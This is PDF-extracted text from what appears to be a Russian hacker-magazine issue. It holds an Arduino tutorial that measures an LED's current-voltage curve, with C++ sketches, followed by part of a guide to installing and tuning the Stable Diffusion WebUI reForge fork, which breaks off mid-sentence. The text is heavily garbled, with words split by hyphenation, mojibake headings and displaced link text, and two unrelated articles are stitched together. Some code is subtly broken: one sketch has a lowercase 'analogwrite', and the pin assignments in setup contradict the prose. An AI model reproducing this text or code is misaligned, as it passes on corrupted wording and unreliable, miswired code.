по-раз ному вза имо дей ство вать с током, модули ровать, уси ливать и нап- 
равлять его. Из полуп ровод никовых матери алов инже неры при дума ли
собирать тран зисто ры, которые поз воля ют исполь зовать эти замеча тель ные
свой ства, а уже из тран зисто ров дела ют мик росхе мы.

Один из самых популяр ных полуп ровод ников — крем ний. Он дос тупный,
дешевый и уни вер саль ный. Прав да, вряд ли кусок крем незема, который ты
наковы ряешь у себя на даче, подой дет для соз дания тран зисто ра. Крем ний
дол жен быть очень чис тым и сос тоять из одно го цель ного крис талла, поэто му
их выращи вают в лабора тори ях.

Про физичес кий смысл работы полуп ровод ников можешь про дол жить
читать в , заод но поз накомишь ся с забав ным поняти ем из мира
физики — «дыр ками».

Ви кипе дии

По луп ровод ник — от крем ния до мик росхем

×òî çà ÂÀÕ?
Вольт-амперная харак терис тика, или же сок ращен но ВАХ, — это зависи мость
тока от нап ряжения в каком-либо ради оэле мен те. По фак ту ВАХ необ ходима
для точ ных рас четов и про екти ров ки элек трон ных при боров. И вот что бы
инже нер мог на воп рос «Рва нет?!» с гор достью и уве рен ностью отве тить «Не
дол жно...», ему нуж на эта харак терис тика.

Ес ли пом нишь, в шко ле на уро ках алгебры ты чер тил гра фики на осях X и Y.
Здесь же получа ются при мер но такие же гра фики, толь ко на одной оси будет
сила тока, на дру гой — нап ряжение.

Из мерить ВАХ мож но вруч ную, с помощью обыч ного муль тимет ра.
Для это го через иссле дуемый ком понент необ ходимо про пус тить нап- 
ряжение и пос мотреть зна чение силы тока. Потом добав ляем нап ряжение
и записы ваем соот ветс тву ющие зна чения силы тока для каж дого пос леду- 
юще го изме рения. Получен ные резуль таты отме чаем на оси в виде точек,
а пос ле стро им по ним гра фик. Это и будет вольт-амперная харак терис тика.

В прош лых стать ях я рас ска зывал про све тоди од, думаю, ты стал кивал ся
с ним бес счет ное количес тво раз. Но знал ли ты, что све тоиз луча ющий
диод — это и есть не кто иной, как пред ста витель полуп ровод никовой струк- 
туры, который излу чает кван ты све та при про тека нии через него пря мого
тока? Ког да исполь зуют све тоди од, обыч но учи тыва ют две его основные
харак терис тики: пер вая — это непос редс твен но наша вольт-амперная, а вто- 
рая — зависи мость интенсив ности све та от силы тока.

В качес тве подопыт ного сус лика будем сегод ня исполь зовать имен но све- 
тоди од. Если вдруг не пом нишь, прин цип его дей ствия доволь но прост,
по фак ту это ана лог нип пеля в элек три чес тве — ток течет через диод толь ко
в одном нап равле нии, от ано да (+) к катоду (–). Ниже ты видишь при меры гра- 
фиков ВАХ и зависи мос ти интенсив ности све та от силы тока све тоди ода.

При меры гра фиков

Arduino çà 30 ñåêóíä
В нашем про екте нам понадо бит ся мик рокон трол лер Arduino, о котором ты
уже, думаю, нас лышан. Но преж де чем ты закатишь гла за и подума ешь «Ах,
опять эта желез ка с Али экс прес са, которой у меня нет», попыта юсь успеть
посове товать тебе все же купить прос той вари ант пла ты, нап ример Nano
или Uno. Я счи таю, что любой ува жающий себя айтиш ник дол жен уметь так
или ина че обра щать ся с популяр ными желез ками. В слу чае с Arduino это не
толь ко полез но, но и инте рес но! Счи тай, я даю тебе шанс заново открыть
для себя Lego, но в мире элек тро ники и прог рамми рова ния.

WWW

Под робно о работе с Arduino можешь почитать
в  «Амперки».ви ки

Ес ли вкрат це, Arduino — эта кий компь ютер раз мером с ладонь. К нему ты
можешь под клю чить любые под ходящие элек трон ные ком понен ты и зап- 
рограм мировать свое устрой ство, заг рузив прог рамму со сво его компь юте- 
ра. Прог рамми рова ние ведет ся на С++, прав да нем ного изме нен ном.
Для начала работы тебе необ ходимо пос тавить сре ду раз работ ки Arduino IDE,
которую ты можешь ска чать с . Вто рая вер сия,
кста ти, силь но отли чает ся от пре дыду щей (и, как по мне, ста рая более дру- 
желюб на).

офи циаль ного сай та Arduino

Раз ные Arduino и сре да раз работ ки Arduino IDE

WWW

Ес ли нет воз можнос ти при обрести желез ки
или прос то не хочет ся ждать, мож но поп робовать
порабо тать в вир туаль ной лабора тории, нап- 
ример бра узер ной . Здесь ты можешь
соз давать свои про екты на вир туаль ной Arduino,
писать код и даже делать 3D-модели.

Tinkercad

Ôîòîðåçèñòîð
Те перь погово рим об одном элек трон ном ком понен те — который работа ет
имен но за счет наших любимых полуп ровод ников. Ты дол жен был запом нить,
что они спо соб ны менять свои свой ства про веде ния тока в зависи мос ти
от внеш них фак торов. Фоторе зис тор как раз хороший при мер: он работа ет
как обыч ный резис тор, то есть огра ничи вает ток, толь ко вот соп ротив ление
свое меня ет в зависи мос ти от све та, который на него попада ет.

Фо торе зис тор и его обоз начение на схе ме

Этот эле мент при годит ся в про ектах, где необ ходимо как-то фик сировать
свет. На выходе мож но получить ана лого вый сиг нал, то есть фоторе зис тор
поз воля ет не прос то узна вать, вклю чен или вык лючен свет, а еще и изме рять
уро вень осве щен ности вок руг дат чика. Нам в работе он понадо бит ся
для опре деле ния интенсив ности све чения диода.

Продолжение статьи →
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ÏÐÈÑÒÓÏÀÅÌ Ê ÏÐÀÊÒÈÊÅ

Ïø-ø-ø... RC-ôèëüòð äëÿ áîðüáû ñ øóìàìè
Од на из воз можнос тей Arduino — это переда ча ШИМ-сиг нала. В 

 я рас ска зывал, что такое циф ровой сиг- 
нал и чем он отли чает ся от ана лого вого. Широт но-импуль сная модуля ция,
если поль зовать ся очень гру быми фор мулиров ками, поз воля ет раз делить
мак сималь ное нап ряжение циф рового сиг нала на час ти и тем самым умень- 
шить получа емую наг рузку.

статье
про осно вы циф ровой элек тро ники

Нап ример, ШИМ в Arduino поз воля ет раз делить выход ное нап ряжение
мик рокон трол лера на 256 час тей, а пос ле подавать мак сималь ное нап- 
ряжение (5 вольт) в про екции по шка ле от 0 до 255. Но это по-преж нему
будет циф ровой сиг нал, прос то дос тигать ся такой эффект будет за счет
очень быс тро го перек лючения меж ду нулем и питани ем.

Кста ти говоря, у экра на тво его телефо на тоже есть ШИМ. Замечал, что
если пос мотреть через камеру, то экран мер цает? Так вот, это про исхо дит
из-за того, что яркость экра на регули рует ся такими быс тры ми перек лючени- 
ями, что гла зом их заметить нель зя, но камерой с дос таточ ной час тотой кад- 
ра — лег ко.

С помощью ШИМ мы можем изу чить ВАХ све тоди ода. Будем пос тепен но
наращи вать яркость, подавая воз раста ющее нап ряжение от 0 до 255 в про-
екции от 0 до 5 вольт. Что бы сгла дить ШИМ-сиг нал и сде лать его похожим
на ана лого вый, нам пот ребу ется соб рать RC-филь тр, прос тое устрой ство,
сос тоящее из R — резис тора и С — кон денса тора.

Схе ма RC-филь тра

Под ходящие зна чения для R и C мож но рас счи тать по законам Кир хго фа,
исполь зуя фор мулы ниже.

Страш ные фор мулы из физики

Не будем тра тить вре мя на пог ружение в физику, как говорит ся — из рисун ка
вид но. Да и вооб ще про ще все го подоб рать эти зна чения на глаз: под клю чить
ком понен ты с при мер но нуж ным номина лом, вывес ти с пла ты гра фик сгла- 
жен ного сиг нала и пос мотреть, нас коль ко он сгла жива ется. Если сгла жива- 
ние недос таточ но, заменя ем ком понен том чуть поболь ше или чуть помень ше
и про дол жаем, пока резуль тат нас не удов летво рит. Лич но я всег да так
делаю.

Ñîáèðàåì ñõåìó
В Arduino есть пины циф ровые, циф ровые, под держи вающие ШИМ, и ана- 
лого вые. Обоз начение ана лого вых начина ется с А. Пины могут работать
в режиме подачи сиг нала и в режиме счи тыва ния. Важ но: если ты под клю- 
чишь какой-нибудь циф ровой дат чик к Arduino и не будешь понимать, почему
он не работа ет, про верь, не под клю чил ли ты его к ана лого вому пину, ведь
в этом слу чае ничего работать не будет.

Для опре деле ния вольт-амперных харак терис тик нам необ ходимо изме- 
рять падение нап ряжения на све тоди оде. Под клю чим RC-филь тр к выход ному
пину с ШИМ (нап ример, ко вто рому), а вхо дами будут ана лого вые пины А0,
А1, А2. С помощью пинов А0 и А1 будем сни мать показа ния падения нап- 
ряжения на све тоди оде, а на А2 — счи тывать показа ния нап ряжения
на делите ле нап ряжения (с помощью резис тора и фоторе зис тора) и потом
интер пре тиро вать из это го яркость све тоди ода.

Схе ма

К пину 3 под клю чим све тоди од, который будет показы вать готов ность к выг- 
рузке дан ных, а к пину 4 — кноп ку для управле ния выг рузкой.

Òåñòèðóåì ôèëüòð
На пишем прос тую прог рамму, которая будет выводить резуль тат вып рямле- 
ния сиг нала в плот тер пор та Arduino (визу али зация гра фиков).

INFO

COM-порт в Arduino — это вир туаль ный пос- 
ледова тель ный порт, к которо му мож но под клю- 
чить ся, что бы вза имо дей ство вать с тек сто выми
дан ными пря мо через компь ютер в режиме
реаль ного вре мени. В Arduino IDE есть встро- 
енная «кон соль» — монитор пор та, в который
мож но попасть, нажав на икон ку лупы. Так же
в Arduino IDE есть Serial Plotter — это инс тру мент,
который поз воля ет визу али зиро вать дан ные,
выводи мые в пос ледова тель ный порт.

 int a;
 void setup(){

 Serial.begin(9600);
   pinMode (2, OUTPUT);
   pinMode (A0, INPUT);
   a = 10;
   analogwrite (2, a);
 delay(100);
}

  void loop() {
 Serial.println(analogRead(A0));
}

В ито ге при под клю чении кон денса тора мы можем уви деть сле дующие
резуль таты.

Ре зуль тат работы RC-филь тра

Чет ко вид но, как отоб ража ется ШИМ-сиг нал до и пос ле заряд ки кон денса- 
тора. Если пос мотреть бли же, то будут вид ны шумы в цепи, эта кие неров- 
ности и шерохо ватос ти, воз ника ющие из-за пос тоян ной заряд ки-раз рядки
кон денса тора. Чем мень ше эти шумы, тем луч ше подоб раны ком понен ты.
С помощью сле дующей прог раммы мы опре делим уро вень шумов, и если
колеба ния будут слиш ком боль шие, то советую тебе скор ректи ровать
номина лы ком понен тов в цепи.

 int a;
  void setup() {

 Serial.begin(9600);
   pinMode (2, OUTPUT);
   pinMode (A0, INPUT);
   pinMode (A1, INPUT);
   a = 10;
  analogWrite(2, a);
 delay(100);
}

  void loop() {
   Serial.print (analogRead (A0));
  Serial. print(",");
  Serial.print (analogRead(A1));
 Serial.println();
}

Те перь мы можем уви деть колеба ния, воз ника ющие при раз рядке и заряд ке
кон денса тора.

Ко леба ния кон денса тора

Îñíîâíûå äåéñòâèÿ äëÿ ïðîãðàììû
Итак, оста лось зап рограм мировать мик рокон трол лер. Перед нами сто ят сле- 
дующие задачи: генера ция сиг нала в соот ветс твии с тре буемы ми изме рени- 
ями, при ем и обра бот ка вхо дящих сиг налов и пре обра зова ние дан ных
для вывода гра фиков.

Пос ле объ явле ния всех перемен ных запус тим пер воначаль ную нас трой ку:
при запус ке устрой ства нуж но раз рядить кон денса тор, что бы его заряд
не вли ял на даль нейшие показа ния све тоди ода. Далее нас тро им пины
на выход и вход и зададим началь ное положе ние для ШИМ-сиг нала. Ини- 
циали зиру ем соз дание COM-пор та и в цик ле выяв ляем показа ния шумов
на фоторе зис торе для даль нейшей кор ректи ров ки получен ных зна чений.

 int a;
       float c, d, e, f, g, j, m;
   float c1, d1, e1;

  int k, l;
 float b[256][3];

  void setup() {
delay(4000);
Serial.begin(9600);

 pinMode(2, OUTPUT);
 pinMode(3, INPUT);
 pinMode(4, OUTPUT);
 pinMode(A0, INPUT);
 pinMode(A1, INPUT);
 pinMode(A2, INPUT);

 analogWrite(2, a);
 digitalWrite(4, 0);

delay(100);
analogReference(DEFAULT);
  f = analogRead(A2);
  g = f;

         for (int i = 0; i <= 1000; i++) {
      m = analogRead(A2);
       f = max(f, m);
       g = min(g, m);
}
      j = (f + g) / 2;

}
...

Ос новная часть прог раммы зак люча ется в пос ледова тель ном изме нении
ШИМ-сиг нала на вхо де от минималь ного до мак сималь ного зна чения. В каж- 
дой ите рации цик ла прог рамма записы вает конеч ные зна чения, вычис ляя
потен циал в клю чевых точ ках, и про изво дит матема тичес кие рас четы.
Для опре деле ния мак симумов и колеба ний зна чения с пинов про ходят про- 
вер ку во внут реннем цик ле. Из-за того что миниму мы появ ляют ся в резуль- 
тате про сад ки заряда кон денса тора, эти дан ные исполь зовать смыс ла нет.

...
  void loop() {

    if (a <= 255) {
  analogWrite(2, a);
 delay(100);
          for (int i = 0; i <= 100; i++) {
    c1 = analogRead(A0);
    d1 = analogRead(A1);
      e1 = analogRead(A2) - j;
     c = max(c, c1);
     d = max(d, d1);
     e = max(e, e1);
 }
         b[a][0] = ((5 * (c - d)) / 1023);
           b[a][1] = ((((d / 1023) * 5) / 295) * 1000000);
   b[a][2] = e;
     a = a + 1;
}
...

Но мы сов сем забыли про вто рой наш полуп ровод ник, который нам помога ет
в иссле дова нии, — све тоди од для инди кации. Пос ле занесе ния пос ледне го
зна чения в конеч ный мас сив дан ных диод загорит ся и сооб щит нам о том, что
дан ные пора отправ лять в COM-порт или в плот тер. При сле дующем нажатии
на кноп ку будут выг ружены нес коль ко вари антов дан ных. Для COM-пор та
это зна чения падения нап ряжения, тока и интенсив ности све та от подан ного
ШИМ-сиг нала, а для плот тера — пос тро ение гра фиков с уче том раз мернос ти
окна и под пись еди ниц изме рения.

...
     else if (a > 255) {

  digitalWrite(4, 1);
     if (digitalRead(3) == 1) {
   digitalWrite(4, 0);
      if (k == 0) {
   Serial.println("Вывод_падения_напряжения_В");
            for (int i = 0; i <= 255; i++) {
    Serial.println(b[i][0]);
   }
            for (int i = 0; i <= 244; i++) {
    Serial.println(0);
   }
     k = 1;
    digitalWrite(4, 1);
        } else if (k == 1) {
   Serial.println("Вывод_силы_тока_мкА");
            for (int i = 0; i <= 255; i++) {
    Serial.println(b[i][1]);
   }
            for (int i = 0; i <= 244; i++) {
    Serial.println(0);
   }
     k = 2;
    digitalWrite(4, 1);
        } else if (k == 2) {
   Serial.println("Интенсивность_света");
            for (int i = 0; i <= 255; i++) {
    Serial.println(b[i][2]);
   }
            for (int i = 0; i <= 244; i++) {
    Serial.println(0);
   }
     k = 3;
    digitalWrite(4, 1);
   delay(15);
        } else if (k == 3) {
   Serial.print("мкА_на_");
    Serial.print((b[255][0]), 2);
   Serial.println("/255_В");
            for (int i = 0; i <= 255; i++) {
    Serial.println(b[i][1]);
   }
            for (int i = 0; i <= 244; i++) {
    Serial.println(0);
   }
     k = 4;
    digitalWrite(4, 1);
        } else if (k == 4) {
            for (int i = 0; i <= 255; i++) {
        if (b[i][1] > b[20][1]) {

       l = i;
     break;
    }
   }
   Serial.print("относительная_интенсивность_на_");
      Serial.print(((b[255][1]) - b[10][1]), 2);
   Serial.print("/");
     Serial.print((255 - l));
   Serial.println("_мкА");
            for (int i = l; i <= 255; i++) {
   Serial.println(b[i][2]);
   }
                for (int i = 0; i <= (500 - 255 + l); i++) {
    Serial.println(0);
   }
     k = 3;
    digitalWrite(4, 1);
  }
 }
}
}

Вот, в общем-то, и всё. Теперь мож но наб людать через СОМ-порт и плот тер
за изме нени ями показа ний.

Дан ные в СОМ-пор те

Ког да све тоди од пот ребля ет очень мало тока и интенсив ность его све чения
мож но счи тать нулевой, в гра фике необ ходимо учи тывать пог решность.

Гра фик зависи мос ти силы тока от интенсив ности излу чения

Ну и наконец, давай пос мотрим на гра фик вольт-амперной харак терис тики
нашего све тоди ода.

Вах, какая ВАХ

При каж дом запус ке СОМ-пор та или плот тера Arduino переза пус кает ся,
поэто му кон денса тор в начале не раз ряжен, из-за чего появ ляет ся задер жка,
и мы можем пов торно исполь зовать эту уста нов ку.

À åñëè ðó÷êàìè?
Да, как я уже говорил, снять ВАХ мож но и без авто мати зации. Для это го прос- 
то понадо бит ся воль тметр, источник тока и каран даш с бумагой для записи
изме рений. Нап ример, схе ма ниже как раз поз волит снять падение нап- 
ряжения, тока и интенсив ности све та.

Схе ма для руч ного сня тия показа ний

ÂÛÂÎÄÛ

Итак, сегод ня мы нем ного разоб рались в мик рокон трол лерах и научи лись
с их помощью счи тывать показа ния с полуп ровод ников. Я пос тепен но отхо жу
от темы базовой элек тро ники к исполь зованию МК и в сле дующих стать ях
хотел бы рас ска зать что-то более зах ватыва ющее: нап ример, как мож но
получен ные сде лан ным сегод ня девай сом дан ные передать на дру гое
устрой ство, но не по Bluetooth или Wi-Fi, а по тому про токо лу, с которым свя- 
зано будущее бес про вод ной свя зи. А что это за про токол, ты узна ешь из сле- 
дующей статьи!

https://xakep.ru/2022/04/15/mosfet/
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Те ма сегод няшней статьи — прод винутый
инс тру мен тарий, который поз воля ет
не толь ко получить дос туп к боль шому чис- 
лу тон ких нас тро ек ней росети, но и авто- 
мати зиро вать генера цию высоко качес твен- 
ных изоб ражений.

Ра нее мы уже изу чили базовые воз можнос ти Stable Diffusion и 
, рас смот рели нес коль ко базовых моделей и 

.

ус танов ку ней- 
росети на компь ютер на учи лись
работать с лорами, сти лями и рефай нерами в при ложе нии Fooocus

Fooocus прек расно под ходит для начала работы и поз воля ет без лиш них
слож ностей получать кра сивые изоб ражения, но вско ре поль зователь упи- 
рает ся в потолок. В Fooocus не вый дет сра зу генери ровать кар тинки
в высоком раз решении или авто мати чес ки исправ лять проб лемы с руками
и лицами; для это го сущес тву ют более прод винутые и нам ного более слож- 
ные в исполь зовании вари анты, один из которых мы и будем изу чать.

STABLE DIFFUSION WEBUI È ÅÃÎ ÏÐÎÈÇÂÎÄÍÛÅ

Stable Diffusion WebUI, раз работан ный авто ром AUTOMATIC1111, — один
из самых популяр ных интерфей сов к Stable Diffusion, воз можно даже самый
популяр ный. Его кон курент — ComfyUI, пред лага ющий уни каль ную, «не
для всех», кон цепцию поль зователь ско го интерфей са. Написать обо всех
про дук тах в одной статье невоз можно; на сей раз оста новим ся на интерфей-
се AUTOMATIC1111, а точ нее, на одной из его пер спек тивных про изводных.

Ин терфейс сущес тву ет в нес коль ких вари антах. Мес то WebUI сре ди раз- 
личных интерфей сов Stable Diffusion мож но опи сать сле дующим обра зом.
1.  — прос той про дукт для начина ющих.Fooocus

2.  — форк AUTOMATIC1111 с более высокой ско ростью работы

и опти мизи рован ным механиз мом работы с виде опа мятью, заимс тво ван- 
ным из дру гого про дук та, ComfyUI. Его раз работ чик — автор Fooocus
и сети Control Net. На дан ный момент активная раз работ ка прек ращена,
а репози торий переве ден в ста тус экспе римен таль ного; на нем будут
отра баты вать ся новые тех нологии.

WebUI Forge

3.  — в свою оче редь, све жий и активный форк выше опи сан- 

ного WebUI Forge, при сутс тву ют как опти миза ции Forge, так и новин ки,
которые появи лись в AUTOMATIC1111 за вре мя без дей ствия раз работ чика
Forge.

WebUI reForge

4.  — собс твен но, «клас сичес кий» WebUI, upstream

для раз нооб разных фор ков. Для работы на виде окар тах с 8 Гбайт VRAM
и мень ше тре бует доработ ки напиль ником и даже пос ле све жих опти миза-
ций в вер сии 1.10 все рав но работа ет мед леннее WebUI Forge.

AUTOMATIC1111

5.  — форк AUTOMATIC1111 за авторс твом vladmandic. Сло жен
в допили вании и тре бует от поль зовате ля серь езной под готов ки, зато под- 
держи вает новей шие диф фузные тех нологии, которых нет в A1111.

SD.Next

6.  — очень мощ ный и отлично опти мизи рован ный про дукт с самой
широкой сов мести мостью и под дер жкой раз ных тех нологий диф фузии.
Если тебе бли зок интерфейс в сти ле блок-схем — поп робуй, не пожале- 
ешь!

ComfyUI

7.  — на осно ве Comfy, который все-таки слож новат в осво ении,

соз дан интерфейс SwarmUI. Его автор дол гое вре мя работал в Stability AI
и покинул ком панию пос ле фиас ко с выходом модели SD3 Medium. К это- 
му про дук ту сто ит прис мотреть ся; воз можно, сде лаю это в сле дующей
статье.

SwarmUI

ÊÐÀÒÊÀß ÏÐÅÄÛÑÒÎÐÈß

Прог ресс в сис темах генера тив ного ИИ стре мите лен. Ког да я начинал писать
эту статью, самым инте рес ным интерфей сом был WebUI Forge, замет но опе- 
режав ший ори гиналь ный AUTOMATIC1111 по ско рос ти работы, осо бен но
на виде окар тах с неболь шим объ емом памяти. Шли месяцы, и раз работ чики
AUTOMATIC1111 опти мизи рова ли про изво дитель ность и добав ляли новые воз- 
можнос ти, а репози торий WebUI Forge как буд то зас тыл во вре мени. 8 июня
раз работ чик Forge : в AUTOMATIC1111 все ста ло
как минимум неп лохо, поэто му репози торий Forge ста новит ся экспе римен- 
таль ным.

сде лал объ явле ние

С одной сто роны, в AUTOMATIC1111 и в самом деле под тянули ско рость.
С дру гой — механизм управле ния памятью из Forge так и не добави ли.
В резуль тате даже ста рый, мно го месяцев не обновляв ший ся WebUI Forge все
еще быс трее ори гина ла. Раз работ чик Panchovix сде лал собс твен ный форк
WebUI Forge, в котором внед рены поч ти все новин ки из AUTOMATIC1111.
Новый форк работа ет быс трее и ста биль нее ори гиналь ного Forge и сущес- 
твен но опе режа ет AUTOMATIC1111. Имен но о нем я и хочу рас ска зать.

ÓÑÒÀÍÎÂÊÀ È ÍÀ×ÀËÎ ÐÀÁÎÒÛ

Про ект reForge — в активной раз работ ке. В бли жай шее вре мя ожи дает ся
пол ноцен ный файл «всё в одном»; пока же при дет ся повозить ся с Git.

На  рекомен дует ся такая пос ледова тель ность шагов:стра нице про екта

git clone https://github.com/Panchovix/stable-diffusion-webui-forge.
git 
cd stable-diffusion-webui-forge 
git checkout main_upstream_a1111 

Мож но вос поль зовать ся аль тер натив ной инс трук цией. Для начала кача ем
пол ный архив WebUI Forge , рас паковы ваем и выпол няем из катало га

 сле дующие коман ды:
с GitHub

webui

git remote add reForge https://github.com/Panchovix/stable-diffusion-
webui-reForge 
git branch Panchovix/main_upstream_a1111 
git checkout Panchovix/main_upstream_a1111 
git fetch reForge 
git branch -u reForge/main 
git pull 

На Reddit есть аль тер натив ный вари ант уста нов ки, я исполь зовал имен но его.
Точ но так же кача ем и рас паковы ваем WebUI Forge, перехо дим в его пап ку
и выпол няем:

git reset --hard
git remote add reForge https://github.com/Panchovix/stable-diffusion-
webui-reForge 
git fetch reForge 
git switch -c main_upstream_a1111 panchovix/main_upstream_a1111 

Да лее нуж но запус тить  и . Прог рамма авто мати чес ки
ска чает и уста новит необ ходимые зависи мос ти; впро чем, их не так мно го —
раз работ чик ори гина ла WebUI Forge уже упа ковал в архив все необ ходимое
для начала работы, за исклю чени ем раз ве что базовой модели Stable
Diffusion — ее ты можешь ска чать самос тоятель но и положить в пап ку

update.bat run.bat

\stable-diffusion-webui-forge\webui\models\Stable-diffusion 

Здесь  — кор невой каталог, в который уста- 

нов лен WebUI.

stable-diffusion-webui-forge

При желании путь к моделям мож но изме нить, отре дак тировав вот этот
файл:

stable-diffusion-webui-forge\webui\webui-user.bat 

Для это го нуж но рас коммен тировать и отре дак тировать стро ку

##@REM --ckpt-dir %A1111_HOME%/models/Stable-diffusion^

Кста ти, в этом же фай ле мож но изме нить и дру гие пути — нап ример,
по которым будет хра нить ся кеш некото рых моделей (в основном тех,
которые исполь зуют ся рас ширени ями).

set XDG_CACHE_HOME=%CD:\~0,2%\.cache\ 
set TRANSFORMERS_CACHE=%CD:\~0,2%\.huggingface\ 
set HF_HOME=%CD:\~0,2%\.cache\huggingface\
set HF_DATASETS_CACHE=%CD:\~0,2%\.cache\huggingface\datasets 

Пос ле успешно го запус ка тебя встре тит приб лизитель но такой экран.

Что здесь име ет зна чение:
 — тут выбира ем базовую модель. Если

в спис ке нет ни одной, ее нуж но ска чать и положить в соот ветс тву ющую
пап ку, пос ле чего нажать на голубую икон ку «Обно вить спи сок».

• Stable Diffusion checkpoint

 — это кое-что новое по срав нению с Fooocus. VAE отве чает

за перевод кар тинки из латен тно го прос транс тва в прос транс тво пик селей
(и наобо рот). Ты можешь выб рать авто мати чес кую нас трой ку, и тог да VAE
будет исполь зовать ся из сос тава базовой модели (если он в нее вооб ще
вклю чен, что быва ет не всег да), либо ска чать и положить в пап ку 

 внеш ний VAE. Ска чать
стан дар тный VAE мож но .

• SD VAE

stable-

diffusion-webui-forge\webui\models\VAE

с Civitai
 — не тро гаем. Для моделей SDXL этот параметр в A1111 игно- 

риру ется, так что менять его и бес смыс ленно, и бес полез но. Он был инте-
ресен во вре мена SD 1.5.

• Clip skip

 — собс твен но, в этой вклад ке про исхо дит генера ция. Осталь ные
мы пока не рас смат рива ем; из ряда вкла док нам будут инте рес ны нас- 
трой ки Settings.

• txt2img

,  — здесь хорошо зна комые поля вво да. WebUI
Forge унас ледовал от A1111 син таксис зап росов; мы обя затель но погово- 
рим о них поз днее. Важ но знать, что все, что работа ло в Fooocus, будет
точ но так же работать и здесь, но в A1111 воз можнос ти управле ния зап- 
росами замет но шире.

• Prompt Negative prompt

 — начало генера ции. Одна ко не спе ши жать эту кноп ку, мы

еще не закон чили с нас трой кой.

• Generate

 и выбор базовой модели над ней: это кноп ки рас ширения Agent
Scheduler (его нуж но уста нав ливать отдель но из вклад ки Extensions — сра- 
зу пос ле Settings), которое поз воля ет соз давать оче реди из зап росов.
Весь ма полез ное рас ширение, пос коль ку генера ция на боль шинс тве
виде окарт, увы, далеко не мгно вен ная.

• Enqueue

Сра зу под кноп кой Enqueue (или Generate, если у тебя не уста нов лено рас- 
ширение Agent Scheduler) находит ся окно выбора сти ля. По умол чанию там
пус то; пре дус танов ленных сти лей с WebUI Forge не пос тавля ется. О том,
как работать со сти лями, — в одном из сле дующих раз делов.

Даль ше начина ется самое инте рес ное: парамет ры генера ции. Перед тем
как прис тупить к соз данию шедев ра, обя затель но нуж но их нас тро ить.
•  — выбор сем пле ра и шедуле ра, которые будут исполь- 

зовать ся для соз дания кар тинки. Мы обя затель но обсу дим алго рит мы и их
раз личия; пока же пореко мен дую сем плер DPM++ 3M SDE (очень быс трый
и дос таточ но све жий алго ритм, но тре бует боль ше шагов), DPM++ SDE
(его про тиво полож ность: мед ленный, но деталь ный, тре бует мень ше
шагов), DPM++ 2M SDE (что-то сред нее меж ду ними), а так же уни каль ный
алго ритм Restart (каж дые нес коль ко шагов дела ет «откат», что в теории
поз воля ет изба вить ся от мел ких огре хов). В качес тве шедуле ра пореко- 
мен дую Align Your Steps, недав нюю раз работ ку Nvidia. Этот шедулер поз- 
воля ет получить резуль тат за мень шее чис ло шагов по срав нению с клас- 
сичес кими метода ми.

Sampling method

•  — чис ло шагов для генера ции пер вого про хода. Силь но

зависит от выб ранно го сем пле ра и от парамет ра CFG (выше CFG — боль- 
ше шагов). Для DPM++ 3M SDE Karras и CFG от 4 до 8 луч ше уста новить
поряд ка сорока шагов, а DPM++ SDE Karras может обой тись и двад цатью.

Sampling steps

На этом мес те сто ит прер вать ся и объ яснить, почему бес конеч ное уве личе- 
ние чис ла шагов не всег да ведет к улуч шению качес тва изоб ражения. Боль- 
шинс тво сов ремен ных (не «унас ледован ных», ancestral) сем пле ров добав ляет
неболь шой про межу точ ный шум на каж дом шаге.

Та ким обра зом, сис тема урав нений не схо дит ся, не имея какого-то одно го
окон чатель ного решения: по дос тижении неко его порога кар тинка перес тает
улуч шать ся и прос то нем ного меня ется на каж дом шаге.

Это мож но исполь зовать: если ты добил ся от ней росети нуж ной ком- 
позиции, но в изоб ражении есть мел кие огре хи, изме нение чис ла шагов
(либо неболь шое изме нение парамет ра CFG) при сох ранении зна чения сида
соз даст нем ного дру гую кар тинку, на которой огре хов может и не быть.

При исполь зовании схо дящих ся сем пле ров через какое-то вре мя тоже
дос тига ется пре дел насыще ния, пос ле которо го кар тинка перес тает улуч- 
шать ся. Более того, неболь шие огре хи в любом слу чае будут исправ лены
на вто ром шаге генера ции в про цес се повыше ния раз решения (Hires.x).
О нем — чуть ниже, а пока закон чим с нас трой ками пер вого про хода.

 — ширина и высота кар тинки. Обра ти вни мание: зна чение
по умол чанию 512 ⨉ 512 выб рано для Stable Diffusion 1.5; для Stable
Diffusion XL исполь зуют ся дру гие зна чения. Для начала мож но выб- 
рать 1024 ⨉ 1024 точ ки. Пол ный спи сок под держи ваемых раз решений
(мож но исполь зовать и дру гие, но может пос тра дать качес тво): 640 ⨉
1536, 768 ⨉ 1344, 832 ⨉ 1216, 896 ⨉ 1152, 1024 ⨉ 1024, 1152 ⨉ 896, 1216 ⨉
832, 1344 ⨉ 768, 1536 ⨉ 640.

• Width, Height

 — чис ло изоб ражений, которые будут сге нери рова ны пос- 

ледова тель но, одно за дру гим. Ука жешь 10 — будет пос ледова тель но сге- 
нери рова но десять кар тинок.

• Batch count

 — чис ло изоб ражений, которые будут генери ровать ся
одновре мен но. Ука жешь одну — кар тинки будут соз давать ся по одной,
2 — одновре мен но будет генери ровать ся две кар тинки, ука жешь 10 —
и прог рамма вылетит от перепол нения виде опа мяти. Повышать этот
параметр име ет смысл для виде окарт с боль шим количес твом виде опа- 
мяти; при парал лель ной генера ции в нес коль ко потоков мож но получить
уве личе ние ско рос ти поряд ка 30%. Впро чем, пос тобра бот ка
(ADetailer/muDetailer) все рав но будет про исхо дить пос ледова тель но.

• Batch size

 — очень важ ный и инте рес ный параметр, кон тро лиру ющий,

нас коль ко бук валь но ней росеть дол жна сле довать зап росу. Минималь ное
зна чение — 1, мак сималь ное — 35. Для обыч ных моделей час то рекомен- 
дуют зна чения 3–8, иног да мож но под нимать до 12–15. Уве личе ние CFG
так же ведет к уве личе нию кон трас та и насыщен ности (цве тово го кон трас- 
та) изоб ражения. При слиш ком низ ких зна чени ях CFG мы получим блек- 
лую, малокон трастную кар тинку. При чрез мерно высоких — «переж- 
женную»; с этим мож но бороть ся раз ными спо соба ми, от встро енно го
рас ширения DynamicThresholding (CFG-Fix) Integrated или LatentModier
Integrated до спе циаль ных лор и рас ширения CD Tuner, которое поз воля ет
кон тро лиро вать кон траст и насыщен ность на латен тном уров не, еще до
того, как изоб ражение перей дет в прос транс тво пик селей. Для начала
поп робуй уста новить .

• CFG Scale

CFG=7

 — зна комое зна чение сида. -1 озна чает слу чай ный сид, любое дру- 

гое чис ло — некий фик сирован ный. Допол нитель ные нас трой ки (Extra) мы
тро гать не будем.

• Seed

 — нас трой ки рефай нера. Рекомен дую пока оста вить эту нас трой- 

ку вык лючен ной. Для боль шинс тва моделей рефай нер не понадо бит ся,
но в некото рых слу чаях ты можешь захотеть им вос поль зовать ся. Тог да
